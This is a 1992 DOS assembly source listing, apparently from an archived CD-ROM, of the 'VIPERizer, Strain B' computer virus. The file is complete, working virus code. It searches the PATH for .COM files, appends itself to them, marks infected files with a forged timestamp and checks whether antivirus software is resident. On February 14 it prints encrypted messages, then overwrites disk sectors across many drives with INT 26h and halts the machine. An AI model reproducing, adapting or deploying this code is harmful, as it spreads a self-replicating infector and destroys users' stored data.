home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / VIP-B.ASM < prev    next >
Assembly Source File  |  1992-02-12  |  17KB  |  406 lines

  1. ;
  2. ; VIPERizer, Strain B
  3. ; Copyright (c) 1992, Stingray/VIPER
  4. ; This is a Viral Inclined Programming Experts Ring Programming Team Production
  5. ; VIPER are:  Stingray, Venom, and Guido Sanchez
  6. ;
  7.  
  8. MOV_CX  MACRO   X         ; Here is just a simple "mov cx,xxxx" macro.
  9.         DB      0B9H
  10.         DW      X
  11. ENDM
  12.  
  13. CODE    SEGMENT
  14.         ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE
  15.         ORG     $+0100H
  16.  
  17. VCODE:  JMP     virus
  18.  
  19.         NOP         ; just a dud for the 'infected' file.
  20.  
  21. v_start equ     $
  22.  
  23.  
  24. virus:  PUSH    CX
  25.         mov     ax,0ff0fh               ;  Thanks to RABID... Change Mem Marker
  26.         int     21h
  27.         cmp     ax,101h                 ;  Is VirexPC/FluShit in memory?
  28.         jne     more_virus              ;  Nope.
  29.         jmp     quit                    ;  FUCK!!!!!
  30. more_virus:
  31.         MOV     DX,OFFSET vir_dat       ;This is where the virus data starts.
  32.                                         ; The 2nd and 3rd bytes get modified.
  33.         CLD                             ;Pointers will be auto INcremented
  34.         MOV     SI,DX                   ;Access data as offset from SI
  35.         ADD     SI,first_3              ;Point to original 1st 3 bytes of .COM
  36.         MOV     DI,OFFSET 100H          ;`cause all .COM files start at 100H
  37.         mov     cx,3
  38.         REPZ    MOVSB                   ;Restore original first 3 bytes of .COM
  39.         MOV     SI,DX                   ;Keep SI pointing to the data area
  40.  
  41.         MOV     AH,30H
  42.         INT     21H
  43.         nop
  44.         CMP     AL,0                    ;0 means it's version 1.X
  45.         JNZ     dos_ok                  ;For version 2.0 or greater
  46.         JMP     quit                    ;Don't try to infect version 1.X
  47. dos_ok:
  48.         mov     ah,2ch                  ;  Get Time
  49.         int     21h                     ;  Do it.
  50.         xor     bx,bx                   ;  VIPERize bx, for later use.
  51.         cmp     dl,4                    ;  hund's of seconds 4?
  52.         jle     print_message           ;  If 4 or less, print a message.
  53.                                         ;  This serves as a random 1 in 20
  54.                                         ;  chance of the message printing
  55.         jmp     short get_date          ;  No?  What date is it...?
  56. print_message:
  57.         mov     dl, byte ptr [si+msg+bx] ; Get a byte of our message...
  58.         or      dl,dl                   ;  is it 0? (end of message)
  59.         jz      get_date                ;  Get the date if it is...
  60.         sub     dl,75                   ;  Unencrypt message
  61.         mov     ah,2                    ;  Prepare to print one letter
  62.         int     21h                     ;  do it!
  63.         inc     bx                      ;  point to next character.
  64.         jmp     short print_message     ;  Do it again.
  65. get_date:
  66.         mov     ah,2ah                  ;  What day is it?
  67.         int     21h                     ;  Find out.
  68.         cmp     dh,2                    ;  Is it february?
  69.         jne     resume                  ;  No?  Oh well.
  70.         cmp     dl,14                   ;  Is it valentines day?
  71.         jne     resume                  ;  No?  Damn.
  72.         xor     bx,bx                   ;  VIPERize bx
  73. cool:
  74.         mov     dl,byte ptr [si+msg2+bx] ; This is pretty much the
  75.         or      dl,dl                   ;  same as the above 'print'
  76.         jz      no_mas                  ;  function.  except I didn't
  77.         sub     dl,75                   ;  make it a procedure.
  78.         mov     ah,2
  79.         int     21h
  80.         inc     bx
  81.         jmp     short cool
  82. no_mas:
  83.         mov     al,2                    ;  Start with drive C:
  84. phri:   
  85.         mov     cx,255                  ;  Nuke a few sectors
  86.         mov     dx,1                    ;  Beginning with sector 1!!!
  87.         int     26h                     ;  VIPERize them!!!! Rah!!!
  88.         jc      error                   ;  Uh oh. Problem.
  89.         add     sp,2                    ;  Worked great.  Clear the stack...
  90. error:
  91.         inc     al                      ;  Get another drive!
  92.         cmp     al,200                  ;  Have we fried 200 drives?
  93.         je      done_phrying            ;  Yep.
  94.         jmp     short phri              ;  Nope.
  95. done_phrying:
  96.         cli                             ;  Disable Interrupts
  97.         hlt                             ;  Lock up computer.
  98. resume:
  99.         PUSH    ES
  100.         MOV     AH,2FH
  101.         INT     21H
  102.         nop
  103.         MOV     [SI+old_dta],BX
  104.         MOV     [SI+old_dts],ES         ;Save the DTA address
  105.         POP     ES
  106.         MOV     DX,dta                  ;Offset of new DTA in virus data area
  107.         nop
  108.         ADD     DX,SI                   ;Compute DTA address
  109.         MOV     AH,1AH
  110.         INT     21H                     ;Set new DTA to inside our own code
  111.         nop
  112.         PUSH    ES
  113.         PUSH    SI
  114.         MOV     ES,DS:2CH
  115.         MOV     DI,0                    ;ES:DI points to environment
  116. find_path:
  117.         POP     SI
  118.         PUSH    SI                      ;Get SI back
  119.         ADD     SI,env_str              ;Point to "PATH=" string in data area
  120.         LODSB
  121.         nop
  122.         MOV     CX,OFFSET 8000H         ;Environment can be 32768 bytes long
  123.         REPNZ   SCASB                   ;Search for first character
  124.         MOV     CX,4
  125. check_next_4:
  126.         LODSB
  127.         SCASB
  128.         JNZ     find_path               ;If not all there, abort & start over
  129.         nop
  130.         LOOP    check_next_4            ;Loop to check the next character
  131.         POP     SI
  132.         POP     ES
  133.         nop
  134.         MOV     [SI+path_ad],DI         ;Save the address of the PATH
  135.         MOV     DI,SI
  136.         ADD     DI,wrk_spc              ;File name workspace
  137.         nop
  138.         MOV     BX,SI                   ;Save a copy of SI
  139.         ADD     SI,wrk_spc              ;Point SI to workspace
  140.         MOV     DI,SI                   ;Point DI to workspace
  141.         JMP     SHORT   slash_ok
  142. set_subdir:
  143.         CMP     WORD PTR [SI+path_ad],0 ;Is PATH string ended?
  144.         JNZ     found_subdir            ;If not, there are more subdirectories
  145.         JMP     all_done                ;Else, we're all done
  146. found_subdir:
  147.         PUSH    DS
  148.         PUSH    SI
  149.         MOV     DS,ES:2CH               ;DS points to environment segment
  150.         nop
  151.         MOV     DI,SI
  152.         MOV     SI,ES:[DI+path_ad]      ;SI = PATH address
  153.         ADD     DI,wrk_spc              ;DI points to file name workspace
  154. move_subdir:
  155.         LODSB                           ;Get character
  156.         CMP     AL,';'                  ;Is it a ';' delimiter?
  157.         JZ      moved_one               ;Yes, found another subdirectory
  158.         nop
  159.         CMP     AL,0                    ;End of PATH string?
  160.         JZ      moved_last_one          ;Yes
  161.         STOSB                           ;Save PATH marker into [DI]
  162.         JMP     SHORT   move_subdir
  163. moved_last_one:
  164.         xor     si,si
  165. moved_one:
  166.         POP     BX                      ;Pointer to virus data area
  167.         POP     DS                      ;Restore DS
  168.         MOV     [BX+path_ad],SI         ;Address of next subdirectory
  169.         NOP
  170.         CMP     CH,'\'                  ;Ends with "\"?
  171.         nop
  172.         JZ      slash_ok                ;If yes
  173.         MOV     AL,'\'                  ;Add one, if not
  174.         STOSB
  175. slash_ok:
  176.         MOV     [BX+nam_ptr],DI         ;Set filename pointer to name workspace
  177.         MOV     SI,BX                   ;Restore SI
  178.         ADD     SI,f_spec               ;Point to "*.COM"
  179.         MOV     CX,6
  180.         nop
  181.         REPZ    MOVSB                   ;Move "*.COM",0 to workspace
  182.         MOV     SI,BX
  183.         MOV     AH,4EH
  184.         MOV     DX,wrk_spc
  185.         ADD     DX,SI                   ;DX points to "*.COM" in workspace
  186.         MOV     CX,3                    ;Attributes of Read Only or Hidden OK
  187.         INT     21H
  188.         nop
  189.         JMP     SHORT   find_first
  190. find_next:
  191.         MOV     AH,4FH
  192.         INT     21H
  193.         nop
  194. find_first:
  195.         JNB     found_file              ;Jump if we found it
  196.         JMP     SHORT   set_subdir      ;Otherwise, get another subdirectory
  197. found_file:
  198.         MOV     AX,[SI+dta_tim]         ;Get time from DTA
  199.         AND     AL,1FH                  ;Mask to remove all but seconds
  200.         CMP     AL,1FH                  ;62 seconds -> already infected
  201.         JZ      find_next               ;If so, go find another file
  202.         CMP     WORD PTR [SI+dta_len],OFFSET 0FA00H ;Is the file too long?
  203.         nop
  204.         JA      find_next               ;If too long, find another one
  205.         CMP     WORD PTR [SI+dta_len],0AH ;Is it too short?
  206.         JB      find_next               ;Then go find another one
  207.         MOV     DI,[SI+nam_ptr]         ;DI points to file name
  208.         PUSH    SI                      ;Save SI
  209.         ADD     SI,dta_nam              ;Point SI to file name
  210. more_chars:
  211.         LODSB
  212.         STOSB
  213.         CMP     AL,0
  214.         JNZ     more_chars              ;Move characters until we find a 00
  215.         POP     SI
  216.         MOV     AX,OFFSET 4300H
  217.         nop
  218.         MOV     DX,wrk_spc              ;Point to \path\name in workspace
  219.         ADD     DX,SI
  220.         INT     21H
  221.         nop
  222.         MOV     [SI+old_att],CX         ;Save the old attributes
  223.         MOV     AX,OFFSET 4301H         ;Set attributes
  224.         AND     CX,OFFSET 0FFFEH        ;Set all except "read only" (weird)
  225.         nop
  226.         MOV     DX,wrk_spc              ;Offset of \path\name in workspace
  227.         ADD     DX,SI                   ;Point to \path\name
  228.         INT     21H
  229.         nop
  230.         MOV     AX,OFFSET 3D02H         ;Read/Write
  231.         nop
  232.         MOV     DX,wrk_spc              ;Offset to \path\name in workspace
  233.         ADD     DX,SI                   ;Point to \path\name
  234.         INT     21H
  235.         nop
  236.         JNB     opened_ok               ;If file was opened OK
  237.         JMP     fix_attr                ;If it failed, restore the attributes
  238.  
  239. opened_ok:
  240.         MOV     BX,AX
  241.         MOV     AX,OFFSET 5700H
  242.         INT     21H
  243.         nop
  244.         MOV     [SI+old_tim],CX         ;Save file time
  245.         MOV     [SI+ol_date],DX         ;Save the date
  246.         MOV     AH,3FH
  247.         nop
  248.         MOV     CX,3
  249.         MOV     DX,first_3
  250.         ADD     DX,SI
  251.         INT     21H             ;Save first 3 bytes into the data area
  252.         nop
  253.         JB      fix_time_stamp  ;Quit, if read failed
  254.         CMP     AX,3            ;Were we able to read all 3 bytes?
  255.         JNZ     fix_time_stamp  ;Quit, if not
  256.         MOV     AX,OFFSET 4202H
  257.         xor     cx,cx
  258.         xor     dx,dx
  259.         INT     21H
  260.         nop
  261.         JB      fix_time_stamp  ;Quit, if it didn't work
  262.         MOV     CX,AX           ;DX:AX (long int) = file size
  263.         SUB     AX,3            ;Subtract 3 (OK, since DX must be 0, here)
  264.         MOV     [SI+jmp_dsp],AX ;Save the displacement in a JMP instruction
  265.         nop
  266.         ADD     CX,OFFSET c_len_y
  267.         MOV     DI,SI           ;Point DI to virus data area
  268.         SUB     DI,OFFSET c_len_x
  269.                                 ;Point DI to reference vir_dat, at start of pgm
  270.         MOV     [DI],CX         ;Modify vir_dat reference:2nd, 3rd bytes of pgm
  271.         MOV     AH,40H
  272.         MOV_CX  virlen                  ;Length of virus, in bytes
  273.         nop
  274.         MOV     DX,SI
  275.         SUB     DX,OFFSET codelen       ;Length of virus code, gives starting
  276.                                         ; address of virus code in memory
  277.         INT     21H
  278.         nop
  279.         JB      fix_time_stamp          ;Jump if error
  280.         CMP     AX,OFFSET virlen        ;All bytes written?
  281.         JNZ     fix_time_stamp          ;Jump if error
  282.         MOV     AX,OFFSET 4200H
  283.         xor     cx,cx
  284.         xor     dx,dx
  285.         INT     21H
  286.         nop
  287.         JB      fix_time_stamp          ;Jump if error
  288.         MOV     AH,40H
  289.         MOV     CX,3
  290.         nop
  291.         MOV     DX,SI                   ;Virus data area
  292.         ADD     DX,jmp_op               ;Point to the reconstructed JMP
  293.         INT     21H
  294.         nop
  295. fix_time_stamp:
  296.         MOV     DX,[SI+ol_date]         ;Old file date
  297.         nop
  298.         MOV     CX,[SI+old_tim]         ;Old file time
  299.         AND     CX,OFFSET 0FFE0H
  300.         nop
  301.         OR      CX,1FH                  ;Seconds = 31/30 min = 62 seconds
  302.         MOV     AX,OFFSET 5701H
  303.         INT     21H
  304.         nop
  305.         MOV     AH,3EH
  306.         INT     21H
  307.         nop
  308. fix_attr:
  309.         MOV     AX,OFFSET 4301H
  310.         MOV     CX,[SI+old_att]         ;Old Attributes
  311.         nop
  312.         MOV     DX,wrk_spc
  313.         ADD     DX,SI                   ;DX points to \path\name in workspace
  314.         INT     21H
  315.         nop
  316. all_done:
  317.         PUSH    DS
  318.         MOV     AH,1AH
  319.         MOV     DX,[SI+old_dta]
  320.         nop
  321.         MOV     DS,[SI+old_dts]
  322.         INT     21H
  323.         nop
  324.         POP     DS
  325.         nop
  326. quit:
  327.         POP     CX
  328.         XOR     AX,AX
  329.         XOR     BX,BX
  330.         xor     cx,cx
  331.         XOR     DX,DX
  332.         XOR     SI,SI
  333.         MOV     DI,OFFSET 0100H
  334.         PUSH    DI
  335.         XOR     DI,DI
  336.         RET     0FFFFH
  337. vir_dat EQU     $
  338. olddta_ DW      0                       ;Old DTA offset
  339. olddts_ DW      0                       ;Old DTA segment
  340. oldtim_ DW      0                       ;Old Time
  341. oldate_ DW      0                       ;Old date
  342. oldatt_ DW      0                       ;Old file attributes
  343. first3_ EQU     $
  344.         INT     20H
  345.         NOP
  346. jmpop_  DB      0E9H                    ;Start of JMP instruction
  347. jmpdsp_ DW      0                       ;The displacement part
  348. fspec_  DB      '*.COM',0
  349. pathad_ DW      0                       ;Path address
  350. namptr_ DW      0                       ;Pointer to start of file name
  351. envstr_ DB      'PATH='                 ;Find this in the environment
  352. wrkspc_ DB      40h dup (0)
  353. dta_    DB      16h dup (0)             ;Temporary DTA goes here
  354. dtatim_ DW      0,0                     ;Time stamp in DTA
  355. dtalen_ DW      0,0                     ;File length in the DTA
  356. dtanam_ DB      0Dh dup (0)             ;File name in the DTA
  357. reboot_ DB      0EAH,0F0H,0FFH,0FFH,0FFH ;Five byte FAR JMP to FFFF:FFF0
  358.  
  359. ; These messages are encrypted.
  360. ; msg = "Will you be my..."
  361. ; msg2 = "VIPERizer, Strain B"
  362. ;        "(c) 1992, Stingray/VIPER"
  363. ;        "Happy Valentines Day!"
  364.  
  365. _msg    db  162,180,183,183,107,196,186,192,107,173,176,107,184,196,121,121
  366.         db  121,085,088
  367.         db  0
  368. _msg2   db  161,148,155,144,157,180,197,176,189,119,107,158,191,189,172,180
  369.         db  185,107,141,085,088
  370.         db  115,174,116,107,124,132,132,125,119,107,158,191,180,185,178,189
  371.         db  172,196,122,161,148,155,144,157,085,088
  372.         db  147,172,187,187,196,107,161,172,183,176,185,191,180,185,176,190
  373.         db  107,143,172,196,108,085,088
  374.         db  0
  375.  
  376. lst_byt EQU     $                       ;All lines that assemble into code are
  377.                                         ;  above this one
  378.  
  379. virlen  =       lst_byt - v_start       ;Length, in bytes, of the entire virus
  380. codelen =       vir_dat - v_start       ;Length of virus code, only
  381. c_len_x =       vir_dat - v_start - 2   ;Displacement for self-modifying code
  382. c_len_y =       vir_dat - v_start + 100H ;Code length + 100h, for PSP
  383. old_dta =       olddta_ - vir_dat       ;Displacement to the old DTA offset
  384. old_dts =       olddts_ - vir_dat       ;Displacement to the old DTA segment
  385. old_tim =       oldtim_ - vir_dat       ;Displacement to old file time stamp
  386. ol_date =       oldate_ - vir_dat       ;Displacement to old file date stamp
  387. old_att =       oldatt_ - vir_dat       ;Displacement to old attributes
  388. first_3 =       first3_ - vir_dat       ;Displacement-1st 3 bytes of old .COM
  389. jmp_op  =       jmpop_  - vir_dat       ;Displacement to the JMP opcode
  390. jmp_dsp =       jmpdsp_ - vir_dat       ;Displacement to the 2nd 2 bytes of JMP
  391. f_spec  =       fspec_  - vir_dat       ;Displacement to the "*.COM" string
  392. path_ad =       pathad_ - vir_dat       ;Displacement to the path address
  393. nam_ptr =       namptr_ - vir_dat       ;Displacement to the filename pointer
  394. env_str =       envstr_ - vir_dat       ;Displacement to the "PATH=" string
  395. wrk_spc =       wrkspc_ - vir_dat       ;Displacement to the filename workspace
  396. dta     =       dta_    - vir_dat       ;Displacement to the temporary DTA
  397. dta_tim =       dtatim_ - vir_dat       ;Displacement to the time in the DTA
  398. dta_len =       dtalen_ - vir_dat       ;Displacement to the length in the DTA
  399. dta_nam =       dtanam_ - vir_dat       ;Displacement to the name in the DTA
  400. reboot  =       reboot_ - vir_dat       ;Displacement to the 5 byte reboot code
  401. msg     =       _msg    - vir_dat       ; Disp. to 1st msg
  402. msg2    =       _msg2   - vir_dat       ; Disp. to 2nd msg
  403.         CODE    ENDS
  404. END     VCODE
  405.